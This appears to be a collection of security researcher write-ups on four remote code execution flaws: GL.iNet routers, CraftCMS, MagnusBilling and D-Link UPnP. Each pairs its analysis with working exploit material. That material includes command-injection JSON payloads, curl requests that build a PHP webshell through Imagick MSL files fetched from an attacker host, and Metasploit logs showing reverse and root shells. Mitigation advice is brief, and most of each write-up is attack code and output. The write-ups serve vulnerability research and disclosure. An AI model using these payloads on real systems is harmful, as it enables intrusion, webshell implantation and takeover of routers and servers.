{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_system_log", { "lines": "| echo pawned >/tmp/lines.pawned", "module": "| echo pawned >/tmp/module.pawned" } ] }
get_crash_log function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_crash_log", { "mode": "| echo pawned >/tmp/mode.pawned", "log_number": "| echo pawned >/tmp/log_number.pawned" } ] }
upgrade_online function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "upgrade", "upgrade_online", { "url": "| echo pawned >/tmp/url.pawned", "sha256": "| echo pawned >/tmp/sha256.pawned", "keep_config": "| echo pawned >/tmp/keep_config.pawned", "keep_package": "| echo pawned >/tmp/keep_package.pawned" } ] }
This vulnerability requires post-authentication with a SessionID (SID
) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID
can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.
I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE
to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin
.
Module in Action
GL.iNet AR300M16 emulated target
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin [*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/console: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 91 [MODE] debug [+] Network reachable on 192.168.1.1! [+] Run debug! Creating TAP device tap91_0... Set 'tap91_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994 [*] IP - 192.168.1.1 [*] connecting to netcat (192.168.1.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 1 / # / # ifconfig ifconfig br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:392 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:427 errors:0 dropped:0 overruns:0 frame:0 TX packets:44 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:940 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / # netstat -rn netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
- You should now be able to
ping
the network address 192.168.8.1 from your host and run anmap
command to check the services (HTTP TCP port 80).
- NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
- You can change this with:
ip a del 192.168.1.2/24 dev tap91_0
andip a add 192.168.8.2/24 dev tap91_0
.
# ifconfig tap91_0 tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0 inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link> ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet) RX packets 39 bytes 4692 (4.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 50 bytes 4044 (3.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# ping 192.168.8.1 PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. 64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms 64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms ^C --- 192.168.8.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.8.1 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC Nmap scan report for 192.168.8.1 Host is up (0.020s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 443/tcp open https MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info Name: GL.iNet Unauthenticated Remote Command Execution via the logread module. Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445 Platform: Unix, Linux Arch: cmd, mipsle, mipsbe, armle Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2013-12-10 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Unknown DZONERZY Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 Unix Command 1 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (UDP) SID no Session ID SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o n all addresses. SRVPORT 8080 yes The local port to listen on. Payload information: Description: A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module. This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen by the attacker. However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be retrieved without knowing a valid username and password. The following GL.iNet network products are vulnerable: - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0; - MT6000: v4.5.0 - v4.5.3; - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7; - E750/E750V2, MV1000: v4.3.8; - and potentially others (just try ;-) NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. References: https://nvd.nist.gov/vuln/detail/CVE-2023-50445 https://nvd.nist.gov/vuln/detail/CVE-2023-50919 https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445 https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919 https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md View the full module info with the info -d command.
Scenarios
FirmAE GL.iNet AR300M16 Router Emulation Unix Command – cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 target => 0 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI [*] Executing Unix Command for cmd/unix/reverse_netcat [*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000 pwd / id uid=0(root) gid=0(root) groups=0(root),65533(nonevpn) uname -a Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux exit
FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper – linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 target => 1 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e [*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp [*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w [*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w [*] Sending payload to 192.168.8.1 (curl/7.88.1) [*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000 [*] Command Stager progress - 100.00% done (117/117 bytes) [*] Server stopped. meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 192.168.8.1 OS : (Linux 4.1.17+) Architecture : mips BuildTuple : mips-linux-muslsf Meterpreter : mipsbe/linux meterpreter >
You can find the module here in my local repository or as PR 18648 at the Metasploit Github development.
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A =>
v4.0.0 < v4.5.0
- MT6000 =>
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 =>
v4.3.7
- E750/E750V2, MV1000 =>
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
CVE-2023-50445
AttackerKB article: CVE-2023-50919 by h00die-gr3y
From zero to botnet: GL.iNet going wild by DZONERZY
GL.iNet home page
GL.iNet API 3.x documentation
GL.iNet API 4.x documentation
GL.iNet unauthenticated RCE – h00die-gr3y Metasploit local repository
GL.iNet unauthenticated RCE – Metasploit PR 18648
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
DZONERZY
And to all other good fellows who raised this concern ;–)
@ccondon-r7, you are most welcome!
Enjoy your upcoming Christmas and New Year.
Technical Analysis
CraftCMS
is a popular content management system that is widely used and available on the Internet. Unfortunately CraftCMS
versions between 4.0.0-RC1
– 4.4.14
are exposed by a vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.
The vulnerability occurs using a PHP object creation in the \craft\controllers\ConditionsController
class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in \GuzzleHttp\Psr7\FnStream
. Using this vulnerability in combination with The Imagick Extension
and MSL
which stands for Magick Scripting Language
, a full RCE can be achieved. MSL
is a built-in ImageMagick
language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick
constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.
Well, this is quite a mouth full, so let’s take it step by step…
Let’s first touch the part of PHP Object Creation
which is the core of the issue. In this article from ptswarm written by Arseniy Sharoglazov
the concept of PHP’s Arbitrary Object Instantiation
is very well explained that is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes.
Within CraftCMS versions 4.4.14
and below, this flaw can also be leveraged to run arbitrary code on a vulnerable instance.
In this blog published by Thanh
on September 14, the security researchers discovered a PHP object instantiation flaw that resides in the \craft\controllers\ConditionsController
class. The beforeAction
method was identified and provided the ability to create an arbitrary object.
So far, so good, but you will need to find gadgets that can be used to escalate the object creation into something meaningful, like methods that allow to run code. One of these methods was found in the \GuzzleHttp\Psr7\FnStream
class.
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
with the curl
command below, you can trigger this flaw calling the method and executing the phpinfo
command.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
Capturing the response with burpsuite
shows that the phpinfo
is executed.
Burp response
HTTP/2 500 Internal Server Error Content-Type: text/html; charset=UTF-8 Date: Sun, 17 Dec 2023 17:17:41 GMT Server: nginx X-Powered-By: Craft CMS X-Robots-Tag: none <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <title>Invalid Configuration – yii\base\InvalidConfigException</title> --- SNIP REMOVED CONTENT --- <h1 class="p">PHP Version 8.1.26</h1> </td></tr> </table> <table> <tr><td class="e"> System </td> <td class="v"> Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 </td> </tr> <tr><td class="e"> Build Date </td> <td class="v"> Nov 24 2023 13:12:14 </td> </tr> <tr><td class="e"> Build System </td> <td class="v"> Linux </td> </tr> <tr><td class="e"> Server API </td> <td class="v"> FPM/FastCGI </td> </tr> --- ETC ETC ---
This is pretty cool, but it is quite limited what you can execute.
For instance, PHP system()
calls with arguments do not work as well as inline PHP code. We have to find other gadgets that can deliver a full RCE using this flaw.
Let’s go back to the article written by Arseniy Sharoglazov
. In the last section of his article, he explains the Imagick Extension
and more specific to use this extension in combination with the Magick Scripting Language (MSL)
to trigger a full RCE using PHP object instantiation (see section Imagick Extension and RCE #2: VID Scheme).
And surprise, surprise, CraftCMS is using this Imagick Extension
which allows us to build a full RCE.
Using the Imagick
constructor class in combination with MSL
and a VID
schema allows you to read and write images. This can be used to build an out of band RCE reading an image file with PHP code from the attacker controlled host and write it back to the CraftCMS
host for execution.
Step 1:
Create an MSL
file (pawn.msl
) that downloads a vulnerable payload from the attacker host and writes it to CraftCMS
instance.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://attacker_ip:8000/vuln.png" /> <write filename="/var/www/html/web/shell.php" /> </image>
Step 2:
Create the vuln.png
by adding PHP code to a small PNG image and host it on the attacker machine
exiftool -comment="<?php phpinfo(); ?>" vuln.png python3 -m http.server 8000
Step 3:
Call the Imagick
constructor class to upload the MSL
file.
This typically creates a MSL
file with a random filename starting with php<random chars>
in the /tmp
directory on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -H 'Content-Type: multipart/form-data' -F 'action=conditions/render' -F 'configObject[class]=craft\elements\conditions\ElementCondition' -F 'config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}' -F 'filename=@pawn.msl'
Step 4:
Trigger the MSL
file execution using Imagick
constructor class again.
You should see the vulnerable PNG getting downloaded from the attacker machine and copied to shell.php
on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'
Step 5:
Run the vulnerable shell code (shell.php
) and you should see the phpinfo
back in the response.
curl -k "https://craftcms-vuln.ddev.site/shell.php" -x localhost:8080 --output -
And things get even better, because you can avoid the out of band download by using caption:
and info:
schemes. The combination of both allows to create a web shell in one go using the MSL
syntax below.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php phpinfo(); ?>" /> <write filename="info:/var/www/html/web/shell.php" /> </image>
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching a PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.
You can find the module here in my local repository or as PR 18612 at the Metasploit Github development.
Mitigation
You should update your CraftCMS
application to the latest version or at least to 4.4.15
.
References
CVE-2023-41892
CraftCMS RCE analysis
CraftCMS Advisory
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
CraftCMS Unauthenticated RCE – h00die-gr3y Metasploit local repository
CraftCMS Unauthenticated RCE – Metasploit PR 18612
CraftCMS Installation
CraftCMS downloading previous versions
Credits
thanhc - https://substack.com/@thanhc
discovery of the vulnerability
Arseniy Sharoglazov - https://swarm.ptsecurity.com/author/arseniy-sharoglazov/
chybeta - https://github.com/chybeta
Technical Analysis
MagnusBilling
is an open source tool written in PHP
and JAVASCRIPT
, using the EXTJS 6
and YII FRAMEWORK
frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.
Unfortunately a command injection vulnerability exists in MagnusBilling
versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php
, with a call to exec()
at line 753. The parameter to exec()
includes the GET
parameter democ
, which is controlled by the user.
if (isset($_GET['demo'])) { if ($_GET['demo'] == 1) { exec("touch idepay_proccess.php"); } else { exec("rm -rf idepay_proccess.php"); } } if (isset($_GET['democ'])) { if (strlen($_GET['democ']) > 5) { /** begin vulnerable code **/ exec("touch " . $_GET['democ'] . '.txt'); /** end vulnerable code **/ } else { exec("rm -rf *.txt"); } }
An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data
or asterisk
. At a minimum, this allows an attacker to compromise the billing system and its database.
You can simply test the vulnerability launching a curl
request issuing a blind command injection using a sleep
command, lets say 15 seconds.
Curl
will take approximately 15 seconds to return if the target is vulnerable.
curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'
A shodan
search with dork http.html:"magnusbilling"
still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP
webshell, performing a UNIX
command injection or launching native Linux Meterpreter
.
Module in action
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info Name: Magnusbilling application unauthenticated Remote Command Execution. Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2023-06-26 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Eldstal Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics /using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /mbilling yes The MagnusBilling endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma chine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. When TARGET is 0: Name Current Setting Required Description ---- --------------- -------- ----------- WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left unset. Payload information: Description: A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request. A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and not properly sanitised/escaped. After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. At a minimum, this allows an attacker to compromise the billing system and its database. The following magnusbilling applications are vulnerable: - Magnusbilling application version 6 (all versions); - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability; References: https://nvd.nist.gov/vuln/detail/CVE-2023-30258 https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258 https://eldstal.se/advisories/230327-magnusbilling.html View the full module info with the info -d command.
Example using the PHP target option
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31 rhosts => 192.168.201.31 msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.31:80 can be exploited. [*] Performing command injection test issuing a sleep command of 5 seconds. [*] Elapsed time: 5.1 seconds. [+] The target is vulnerable. Successfully tested command injection. [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.31 [+] Deleted LfsCVIttNL.php [*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000 meterpreter > getuid Server username: asterisk meterpreter > sysinfo Computer : debian OS : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 Meterpreter : php/linux meterpreter >
You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.
Mitigation
You should update your MagnusBilling
application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php
under the mbilling
directory at your web server root.
References
CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6
Credits
eldstal.se
discovery of the vulnerability
Technical Analysis
This vulnerability is based on an old theme that was discovered in 2013 by Zach Cutlip
and explained in his blog The Shadow File. It is based on the infamous UPnP
attack where a command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to the UPnP
via a crafted M-SEARCH packet.
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform a remote command execution by injecting the payload into the Search Target
(ST) field of the SSDP M-SEARCH discover packet.
What triggered my interest is the fact that 10 years after the discovery, this vulnerability still exists and is alive and kicking. Running a Shodan search title:"d-link"
shows around 80.000 D-Link devices from which a considerable amount of devices are still vulnerable. Fortunately, this attack can only performed as a LAN based attack because the UPnP
discovery service running on port 1900 is typically not exposed to Public Internet.
Besides the DIR-600 model, multiple other D-Link devices have the same vulnerability. I did some extensive testing with FirmAE
to simulate and test different D-Link devices and found a comprehensive list of devices that are vulnerable:
- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
- probably more looking at the scale of impacted devices :–(
In Metasploit
, several modules are available to exploit this vulnerability, but unfortunately they all lack good check
logic to determine if a D-Link device is vulnerable. Another limitation is that these modules only cover a part of the vulnerable devices during the exploit phase due to the fact that not all architectures are supported (mipsbe
, mipsle
and armle
).
To overcome these limitations, I created a new module that has an enhanced check
method that determines the D-Link device model, firmware information and architecture to determine if the device is vulnerable. Also I extended the exploit part to cover the missing armle
architecture using the Linux Dropper
target and I included a Unix Command
target that leverages the busybox telnetd
payload.
Module in Action
D-Link DIR-600 emulated target
# ./run.sh -d d-link /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin [*] /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 25 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [+] Run debug! Creating TAP device tap25_0... Set 'tap25_0' persistent and owned by uid 0 Initializing VLAN... Bringing up TAP device... Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - DIR600B6_FW215WWb02 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [+] netcat connected ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux / # hostname dlinkrouter / #
Metasploit module
msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > options Module options (exploit/linux/upnp/dlink_msearch_unauth_lan_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) UPNP_PORT 1900 yes Universal Plug and Play (UPnP) UDP port URIPATH no The URI to use for this exploit (default is random) URN urn:device:1 no Set URN payload VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/bind_busybox_telnetd): Name Current Setting Required Description ---- --------------- -------- ----------- LOGIN_CMD /bin/sh yes Command telnetd will execute on connect LPORT 4444 yes The listen port RHOST 192.168.0.1 no The target address Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > check [*] Checking if 192.168.0.1:80 can be exploited. [*] 192.168.0.1:80 - The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.0.1:80 can be exploited. [+] The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle [*] Executing Unix Command for cmd/unix/bind_busybox_telnetd [*] payload: urn:device:1;`telnetd -l /bin/sh -p 4444` [*] Started bind TCP handler against 192.168.0.1:4444 [*] Command shell session 1 opened (192.168.0.2:41797 -> 192.168.0.1:4444) at 2023-10-16 13:54:53 +0000 Shell Banner: _!_ ----- # uname -a uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux # hostname hostname dlinkrouter #
You can find the module here in my local repository or as PR 18463 at the Metasploit Github development.
Mitigation
You should update your D-link network devices listed in this article to the latest available firmware.
References
CVE-2023-33625
CVE-2020-15893
CVE-2019–20215
D-Link DIR-859: UnAuthenticated RCE in ssdpcgi HTTP_ST
The Shadow File: DLink DIR-815 UPnP Command Injection
